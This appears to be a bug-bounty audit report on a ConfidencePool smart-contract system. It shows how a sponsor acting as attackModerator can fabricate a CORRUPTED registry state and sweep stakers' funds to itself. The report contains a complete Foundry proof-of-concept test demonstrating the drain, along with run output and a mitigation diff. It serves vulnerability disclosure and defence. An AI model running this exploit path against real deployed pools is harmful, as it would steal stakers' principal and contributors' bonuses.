FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Sponsor can manufacture upstream CORRUPTED state and route the moderator-failure backstop to sponsor recovery

Author Revealed upon completion

Root + Impact

Description

Normal behavior is that the ConfidencePool outcome moderator is the canonical decision-maker for whether an agreement-level CORRUPTED registry state should consume a specific pool's stake. The permissionless auto-CORRUPTED branch is documented as a moderator-failure backstop for the case where the registry is terminally corrupted and no moderator appears during the 180-day grace period.

The issue is that the same sponsor who receives the bad-faith recovery sweep is also forced by the factory to be the Agreement owner, and the pinned upstream AttackRegistry assigns that Agreement owner as the Agreement's attackModerator. That attackModerator can call markCorrupted() from an active-risk state and directly set the terminal CORRUPTED input consumed by the pool backstop; no on-chain proof object, recovery receipt, or pool-moderator confirmation is consumed by markCorrupted().

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
@> if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
pool = Clones.cloneDeterministic(poolImplementation, salt);
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
@> recoveryAddress,
@> msg.sender,
accounts
);
}

The upstream registry registration stores the Agreement owner as attackModerator:

function requestUnderAttack(address agreementAddress) external {
@> (address agreementOwner, address[] memory contracts) = _validateAndPrepareAgreement(agreementAddress);
...
@> _registerAgreement(agreementAddress, agreementOwner, contracts);
}
function _registerAgreement(address agreementAddress, address agreementOwner, address[] memory contracts) internal {
...
s_agreementInfo[agreementAddress] = AgreementInfo({
@> attackModerator: agreementOwner,
deadlineTimestamp: block.timestamp + PROMOTION_WINDOW,
promotionRequestedTimestamp: 0,
attackRequested: true,
attackApproved: false,
promoted: false,
corrupted: false,
isRegistered: true
});
}

That same attackModerator can set the terminal registry state after ordinary DAO approval to UNDER_ATTACK:

function approveAttack(address agreementAddress) external onlyRegistryModerator {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.ATTACK_REQUESTED) {
revert AttackRegistry__InvalidState(currentState);
}
@> s_agreementInfo[agreementAddress].attackApproved = true;
}
function markCorrupted(address agreementAddress) external onlyAttackModerator(agreementAddress) {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.UNDER_ATTACK && currentState != ContractState.PROMOTION_REQUESTED) {
revert AttackRegistry__InvalidState(currentState);
}
@> s_agreementInfo[agreementAddress].corrupted = true;
s_agreementInfo[agreementAddress].promotionRequestedTimestamp = 0;
_markBondClaimable(agreementAddress);
}

ConfidencePool's fallback does not distinguish whether the upstream CORRUPTED input came from a DAO attestation or from the sponsor-controlled attackModerator role. After the grace period, anyone can finalize bad-faith CORRUPTED, and anyone can then sweep the entire pool to recoveryAddress:

function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
...
if (outcome == PoolStates.Outcome.UNRESOLVED) {
@> IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
...
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
@> outcome = PoolStates.Outcome.CORRUPTED;
@> corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
@> claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
}
}
function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
@> uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
...
@> stakeToken.safeTransfer(recoveryAddress, toSweep);
}

This is not the documented case where a real agreement-level corruption may be out-of-scope for a specific pool. Here the sponsor that receives the recovery sweep can manufacture the upstream terminal input without any on-chain breach evidence. The registry singleton remains trusted; the problem is that a normal trusted-registry role is economically aligned with the pool's bad-faith recovery recipient.

Risk

Likelihood:

Reason 1: This occurs after the registry DAO performs the ordinary lifecycle approval from ATTACK_REQUESTED to UNDER_ATTACK.

Reason 2: This occurs when the pool moderator is unavailable through expiry + MODERATOR_CORRUPTED_GRACE, which is exactly the condition the fallback is designed to handle.

Reason 3: This does not require registry repointing or arbitrary registry compromise; it uses the Agreement-owner attackModerator role assigned by the pinned upstream registry.

Impact:

Impact 1: Stakers lose all eligible principal in the affected pool.

Impact 2: Contributors lose the full bonus balance.

Impact 3: The sponsor receives the entire pool balance through the sponsor-controlled recoveryAddress.

Proof of Concept

Create test/unit/ConfidencePool.fabricatedCorruptionBackstop.poc.t.sol with the following full test contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
// Temporary audit-phase AI-generated PoC test. Ignore in normal code review.
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {Test} from "forge-std/Test.sol";
interface IOwnedAgreement {
function owner() external view returns (address);
}
contract RoleAwareAttackRegistryMock {
error Unauthorized(address caller);
error InvalidState(IAttackRegistry.ContractState state);
address internal immutable registryModerator;
struct AgreementInfo {
address attackModerator;
IAttackRegistry.ContractState state;
bool registered;
}
mapping(address agreement => AgreementInfo info) internal agreements;
constructor(address registryModerator_) {
registryModerator = registryModerator_;
}
function requestUnderAttack(address agreement) external {
address agreementOwner = IOwnedAgreement(agreement).owner();
if (msg.sender != agreementOwner) revert Unauthorized(msg.sender);
agreements[agreement] = AgreementInfo({
attackModerator: agreementOwner, state: IAttackRegistry.ContractState.ATTACK_REQUESTED, registered: true
});
}
function approveAttack(address agreement) external {
if (msg.sender != registryModerator) revert Unauthorized(msg.sender);
AgreementInfo storage info = agreements[agreement];
if (info.state != IAttackRegistry.ContractState.ATTACK_REQUESTED) {
revert InvalidState(info.state);
}
info.state = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function markCorrupted(address agreement) external {
AgreementInfo storage info = agreements[agreement];
if (msg.sender != info.attackModerator) revert Unauthorized(msg.sender);
if (
info.state != IAttackRegistry.ContractState.UNDER_ATTACK
&& info.state != IAttackRegistry.ContractState.PROMOTION_REQUESTED
) {
revert InvalidState(info.state);
}
info.state = IAttackRegistry.ContractState.CORRUPTED;
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
AgreementInfo storage info = agreements[agreement];
if (!info.registered) return IAttackRegistry.ContractState.NOT_DEPLOYED;
return info.state;
}
function getAttackModerator(address agreement) external view returns (address) {
return agreements[agreement].attackModerator;
}
}
contract ConfidencePoolFabricatedCorruptionBackstopPoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal sponsor = makeAddr("sponsor");
address internal registryModerator = makeAddr("registryModerator");
address internal poolModerator = makeAddr("poolModerator");
address internal alice = makeAddr("alice");
address internal carol = makeAddr("carol");
address internal stranger = makeAddr("stranger");
MockERC20 internal token;
MockSafeHarborRegistry internal safeHarborRegistry;
RoleAwareAttackRegistryMock internal attackRegistry;
MockAgreement internal agreement;
ConfidencePoolFactory internal factory;
function setUp() external {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new RoleAwareAttackRegistryMock(registryModerator);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAgreementValid(address(agreement), true);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarborRegistry), address(implementation), poolModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function testSponsorAttackModeratorStateCanDriveBackstopSweepToSponsorRecovery() external {
ConfidencePool pool = _createSponsorPool();
_stake(pool, alice, 100 * ONE);
_contributeBonus(pool, carol, 50 * ONE);
vm.prank(sponsor);
attackRegistry.requestUnderAttack(address(agreement));
assertEq(attackRegistry.getAttackModerator(address(agreement)), sponsor, "agreement owner became moderator");
vm.prank(registryModerator);
attackRegistry.approveAttack(address(agreement));
vm.prank(stranger);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "active-risk state was observed");
vm.prank(sponsor);
attackRegistry.markCorrupted(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"sponsor-created registry state consumed by pool"
);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(stranger);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "mechanical corrupted outcome");
assertTrue(pool.claimsStarted(), "backstop locks the outcome");
assertEq(token.balanceOf(alice), 0, "staker principal is not returned");
vm.prank(stranger);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsor), 150 * ONE, "sponsor receives staker principal plus bonus");
assertEq(token.balanceOf(address(pool)), 0, "pool fully swept");
}
function testControlNonAttackModeratorCannotCreateTheCorruptedInput() external {
ConfidencePool pool = _createSponsorPool();
_stake(pool, alice, 100 * ONE);
vm.prank(sponsor);
attackRegistry.requestUnderAttack(address(agreement));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(agreement));
vm.prank(stranger);
pool.pokeRiskWindow();
vm.prank(alice);
vm.expectRevert(abi.encodeWithSelector(RoleAwareAttackRegistryMock.Unauthorized.selector, alice));
attackRegistry.markCorrupted(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"only attack moderator can produce corrupted state"
);
}
function _createSponsorPool() internal returns (ConfidencePool pool) {
address[] memory scope = new address[](1);
scope[0] = DEFAULT_SCOPE_ACCOUNT;
vm.prank(sponsor);
address poolAddress =
factory.createPool(address(agreement), address(token), block.timestamp + 31 days, ONE, sponsor, scope);
pool = ConfidencePool(poolAddress);
assertEq(pool.owner(), sponsor, "factory sets sponsor as pool owner");
assertEq(pool.recoveryAddress(), sponsor, "sponsor-controlled recovery address");
}
function _stake(ConfidencePool pool, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(ConfidencePool pool, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}

Run:

forge test \
--match-contract ConfidencePoolFabricatedCorruptionBackstopPoC \
--skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol \
-vvv

Observed result:

Ran 2 tests for test/unit/ConfidencePool.fabricatedCorruptionBackstop.poc.t.sol:ConfidencePoolFabricatedCorruptionBackstopPoC
[PASS] testControlNonAttackModeratorCannotCreateTheCorruptedInput()
[PASS] testSponsorAttackModeratorStateCanDriveBackstopSweepToSponsorRecovery()
Suite result: ok. 2 passed; 0 failed; 0 skipped

The --skip flag excludes an unrelated local malformed-implementation PoC that currently prevents full test-tree compilation in this workspace; it is not part of this finding.

Live BattleChain testnet interface confirmation:

forge test \
--match-contract BattleChainInterfaceDriftForkTest \
--skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol \
-vv

Observed result:

Ran 4 tests for test/fork/BattleChainInterfaceDrift.fork.t.sol:BattleChainInterfaceDriftForkTest
[PASS] testAgreementRoundTrips()
[PASS] testAttackRegistryRoundTrips()
[PASS] testEnumOrdinalsAreStable()
[PASS] testSafeHarborRegistryRoundTrips()
Suite result: ok. 4 passed; 0 failed; 0 skipped

The fork test confirms the live/testnet role relationship used by the PoC:

assertEq(r.getAttackModerator(DEMO_AGREEMENT), DEMO_AGREEMENT_OWNER, "getAttackModerator(address) signature");
assertEq(a.owner(), DEMO_AGREEMENT_OWNER, "agreement owner signature drift");

Live BattleChain testnet factory/Agreement integration confirmation:

forge test \
--match-contract BattleChainFactoryIntegrationForkTest \
--skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol \
-vv

Observed result:

Ran 2 tests for test/fork/BattleChainFactoryIntegration.fork.t.sol:BattleChainFactoryIntegrationForkTest
[PASS] testCreatePoolAgainstLiveAgreementSucceeds()
[PASS] testCreatePoolRejectsAccountNotInLiveAgreementScope()
Suite result: ok. 2 passed; 0 failed; 0 skipped

This confirms the factory can create a pool against the live SafeHarborRegistry and a real BattleChain testnet Agreement when called by the live Agreement owner, and that scope validation is enforced through the live Agreement. It does not claim that a currently funded deployed ConfidencePool is already exploitable; exploitability is conditional on a deployed pool reaching the lifecycle described above.

Recommended Mitigation

Do not allow the moderator-failure backstop to consume a CORRUPTED state that was produced only by the Agreement-owner attackModerator when the sweep recipient is sponsor-controlled. Prefer an upstream attestation distinction or an independent pool-side confirmation.

- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && riskWindowStart != 0
+ && _corruptionWasDaoAttested(agreement)
+ ) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

If the upstream registry cannot expose whether CORRUPTED came from instantCorrupt() versus markCorrupted(), remove the automatic bad-faith sweep and leave the pool in an escrowed unresolved-corrupted state until the immutable pool outcome moderator, or another independent governance path, confirms the pool-specific outcome.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!